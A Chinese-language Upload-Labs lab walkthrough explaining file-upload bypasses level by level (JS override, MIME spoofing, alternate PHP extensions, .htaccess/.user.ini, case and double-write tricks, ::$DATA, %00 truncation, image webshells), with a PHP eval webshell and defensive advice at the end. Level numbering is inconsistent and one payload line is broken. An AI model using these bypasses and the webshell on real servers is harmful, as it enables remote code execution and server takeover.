Upload-Labs 文件上传漏洞全关卡绕过详解(从前端 JS 到 00 截断、图片马)
一、前言
文件上传漏洞是 Web 安全中高频高危漏洞,攻击者通过上传恶意脚本(Webshell)实现服务器控制。Upload-Labs 是最经典的文件上传靶场,覆盖前端校验、MIME 校验、黑名单、后缀解析、特殊字符、00 截断、图片马等全部主流上传绕过思路。本文结合实操抓包代码,逐关拆解原理与利用方式,适合 Web 安全入门、渗透测试学习。
环境说明:phpStudy + Apache,Windows 本地靶场,PHP 版本分高低版本用于区分 00 截断是否生效。
二、Pass1:前端 JS 校验绕过
1. 漏洞原理
页面上传按钮绑定checkFile()前端 JS 校验,仅在浏览器本地判断文件后缀,后端无任何校验。 弹窗提示该文件不允许上传完全由 JS 弹出,网络面板无请求时即可判定为前端校验。
核心 JS 校验源码:
javascript
运行
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
//允许后缀仅jpg/png/gif
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name) == -1) {
alert("该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:"+ext_name);
return false;
}
}
2. 三种绕过方法
方法 1:控制台覆盖校验函数
F12 打开 Console,直接重写校验函数永久返回 true,跳过判断:
javascript
运行
checkFile = function(){return true;}
刷新页面后直接选择 shell.php 上传即可成功。
方法 2:Burp Suite 拦截修改文件名
- 将木马重命名为
shell.jpg上传; - BP 开启拦截,抓到上传数据包;
- 修改
filename="shell.jpg"为filename="shell.php"后放行。
数据包关键片段:
plaintext
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type:image/jpeg
<?php eval ($_POST['a']);?>
方法 3:修改页面响应 JS 白名单
BP 拦截页面响应包,修改 JS 内allow_ext变量,添加 php 后缀:
js
运行
var allow_ext =".jpg|.png|.gif|.php";
放行响应后页面校验直接允许 php 文件。
三、Pass2:MIME-Type 请求头校验绕过
1. 漏洞原理
后端不再依赖文件名,读取$_FILES['upload_file']['type'](对应 HTTP 请求头Content-Type)做白名单校验,仅允许image/jpeg、image/png、image/gif。
后端校验核心代码:
php
运行
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
//执行上传逻辑
}else{
$msg = '文件类型不正确,请重新上传!';
}
2. 绕过思路
文件后缀改为 jpg 上传,BP 抓包修改两处:
- filename 改为
shell.php; - 保留
Content-Type: image/jpeg不修改,欺骗后端 MIME 校验。
四、Pass3:黑名单后缀绕过(特殊 PHP 解析后缀)
1. 漏洞原理
后端采用黑名单,拦截.php、.jsp、.asp等脚本后缀,但未过滤 Apache 可解析的另类 PHP 后缀。 黑名单数组:
php
运行
$deny_ext = array('.asp','.aspx','.php','.jsp');
2. 利用原理
Apache 配置文件存在解析映射,以下后缀均可被当做 PHP 执行: .php3、.php5、.php8、.phtml、.pht
apache
AddType application/x-httpd-php .php .php3 .phtml
3. 操作步骤
直接上传shell.php3,后端黑名单不存在该后缀,上传成功;访问地址即可连接菜刀 / 蚁剑: http://localhost/upload/202605281045469375.php3
五、Pass4:.htaccess 配置文件绕过
1. 适用环境
仅 Apache 服务器生效,Nginx、IIS 无效。 .htaccess是目录级配置文件,可自定义文件解析规则。
2. 利用流程
- 上传
.htaccess配置文件,内容二选一:
apache
#方式1:所有jpg文件用php解析
AddHandler application/x-httpd-php .jpg
#方式2:文件匹配规则
<FileMatch ".jpg">
SetHandler application/x-httpd-php
</FileMatch>
- 上传一句话木马
shell.jpg; - 访问
shell.jpg,服务器按 PHP 代码执行图片内木马。
补充:.user.ini(FastCGI 模式专用)
PHP FastCGI 环境下使用.user.ini,配置内容:
ini
auto_prepend_file=shell.jpg
作用:当前目录下任意 php 文件访问时,自动加载执行shell.jpg内木马。
六、Pass5:大小写后缀绕过
1. 漏洞代码特征
黑名单包含全部大小写变种后缀,但代码缺少strtolower()统一转小写操作:
php
运行
$file_ext = strrchr($file_name, '.');
//未执行strtolower转换大小写
if(!in_array($file_ext, $deny_ext))
黑名单仅拦截.php,不拦截.pHp、.PhP等混合大小写。
2. 绕过方法
上传文件命名为shell.pHp,后缀大小写混合,黑名单匹配失效,成功上传并解析。
七、Pass6:Windows 特殊字符 / 点 / 空格 /::$DATA 绕过
前置知识点
Windows 系统文件名特性:系统自动忽略文件名末尾的.、空格、::$DATA数据流标记;PHP 代码底层处理逻辑与系统存在差异。 后端过滤逻辑:
deldot():仅删除文件名末尾连续点;str_ireplace('::$DATA', '', $file_ext):仅清除扩展名内的::$DATA;trim():去除扩展名首尾空格。
三种主流 Payload
- 末尾点 + 空格:
shell.php. .PHP 处理后提取扩展名为.,不在黑名单;Windows 保存时自动剔除末尾点和空格,真实文件名为shell.php。 - **NTFS 数据流:::DATA` PHP 过滤仅清除扩展名内的::$DATA,文件名本体保留,Windows 解析时丢弃数据流标记,文件为 php 脚本。
- 纯后缀点绕过:仅适用于不拼接随机文件名的关卡。
注意:若代码自动拼接时间戳 + 随机数重命名文件,该方法失效,最终文件无脚本后缀无法执行。
八、Pass7:双写后缀绕过
漏洞原理
后端使用字符串替换删除黑名单后缀,无循环替换,单次替换仅清除一次关键字:
php运行
$deny_ext = array("php","jsp","asp");
$file_name = str_ireplace($deny_ext,"", $file_name);
例如文件名phpphp.php,单次替换后变为php,成功保留脚本后缀。
Payload
上传文件名:shell.pphphp 替换逻辑:中间 php 被删除,剩余shell.php。
九、Pass8:00 截断(Null 字节注入)
底层原理
C 语言字符串以0x00(\0)作为结束符,低版本 PHP 底层文件操作继承该特性;传入%00URL 解码后为 Null 字节,截断后续字符串。 生效限制:
- PHP 版本 < 5.3.4(5.3.4 修复 Null 字节截断漏洞);
magic_quotes_gpc=Off,不会自动转义\0;- 文件路径 / 文件名可控。
两种利用方式
1. GET 路径截断(Pass11)
上传路径由 GET 参数save_path控制,拼接逻辑:
php运行
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
请求 URL 添加参数:?save_path=shell.php%00 拼接完整路径:upload/shell.php%00123456.jpg 底层读取到%00直接截断,最终保存为shell.php。
2. 文件名截断(Pass12)
抓包修改上传文件名:filename="shell.php%00.jpg" 后端校验取后缀.jpg判定合法;保存文件时 Null 截断,生成shell.php。
注意:Multipart 表单内 filename 不会自动 URL 解码,需 BP 选中 %00 执行 URL Decode 转为二进制 0x00。
十、Pass9:图片马(文件头校验绕过)
漏洞场景
后端校验文件二进制文件头(图片幻数),仅判断文件是否为图片,不清除图片内嵌入的 PHP 代码。
制作图片马命令(Windows cmd)
cmd
copy /b 正常图片.jpg + shell.php shell.jpg
/b代表二进制合并,图片文件头保留,PHP 代码追加至文件末尾。
配套利用条件
仅上传图片马无法直接执行,需搭配文件包含漏洞、解析漏洞、.htaccess 配置、.user.ini 实现代码执行。
十一、漏洞防御总结
结合所有绕过思路,给出完整文件上传防御方案:
- 后端双重校验,舍弃前端校验:前端 JS 仅做用户体验优化,核心校验必须放在服务端;
- 白名单优先,拒绝黑名单:仅允许指定图片后缀 jpg/png/gif,杜绝另类脚本后缀;
- 三重校验:文件名后缀统一转小写 + MIME-Type 校验 + 文件头幻数校验;
- 文件名重命名:上传文件统一生成随机文件名 + 固定允许后缀,杜绝特殊字符、00 截断;
- 过滤危险字符:拦截
\0、.、空格、::$DATA等特殊字符; - 服务器加固:
- Apache 删除危险脚本解析映射(php3/phtml 等);
- 限制目录禁止使用.htaccess/.user.ini;
- Nginx 限制上传目录禁止执行 PHP;
- 版本升级:PHP 升级至 5.3.4 以上,修复 00 截断底层漏洞。
十二、文末小结
文件上传漏洞的核心绕过思路分为四大类:前端绕过、请求头 / 文件名绕过、服务器解析特性绕过、底层字符截断漏洞。Upload-Labs 完整覆盖企业渗透中 90% 以上上传场景,掌握每一关原理可以快速识别真实业务中的上传漏洞。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)